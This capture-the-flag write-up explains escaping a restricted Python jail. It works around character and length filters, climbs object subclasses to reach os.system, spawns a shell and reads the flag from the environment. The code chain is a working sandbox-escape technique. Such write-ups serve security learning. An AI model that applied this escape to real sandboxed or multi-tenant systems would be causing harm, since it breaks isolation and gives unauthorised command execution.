hell_of_a_jail

We are in a Python jail, which tells us we need to call exit() with a parameter to escape. After trying a few things, we run into several restrictions:

• commands longer than 12 characters are truncated,
• . characters are filtered out,
• __ are filtered out (but not _),
• we cannot use ", and
• almost no functions we try work and we cannot import anything.

The underscore and period filtering are applied in the wrong order, so we can bypass the underscore check and read __builtins__ by running:

>>> _._builtins_._
{'exit': <function exit at 0x7f4964724950>, 'getattr': <built-in function getattr>, 'print': <built-in function print>}

Now we know that we have getattr available, which lets us avoid using . to access attributes. We can start from a simple tuple object (()), climb up the hierarchy to get to the object class and see which subclasses we can work with here. To avoid the 12-character limit, we will alias everything to single-character names and use variables to store long string parameters:

e=exit
p=print
u='_._'
c=u+'class'+u
b=u+'base'+u
s=u+'subcla'
s=s+'sses'+u
t=g((),c)  # ().__class__
o=g(t,b)   # ... .__base__
x=g(o,s)   # ... .__subclasses__

Now, if we print x(), we will see a list of classes we can reach. One interesting option is os._wrap_close, which will let us access the os module to get to system. It is at index 127, so:

w=x()[127]     # os._wrap_close
i=u+'init'+u
l=u+'glob'
l=l+'als'+u
z=g(w,i)       # ... .__init__
a=g(z,l)       # ... .__globals__
s=a['system']  # ... ['system']

Now all that remains is to call s('sh') to get a shell. This lets us read the compiled jail shell jail.pyc, which we can decompile using uncompyle6 and read the exit() check:

def exit(arg):
    """Must invoke with the right arg in order to get the flag."""
    if arg == os.environ['0f4d0db3668dd58cabb9eb409657eaa8']:
        print('Oh no ! You managed to escape\nValidate with the key')
        return sys.exit(0)
    print('Wrong key')

All that remains is to read the key from the environment variable. Since we already have a shell available, we can just run env and get the flag.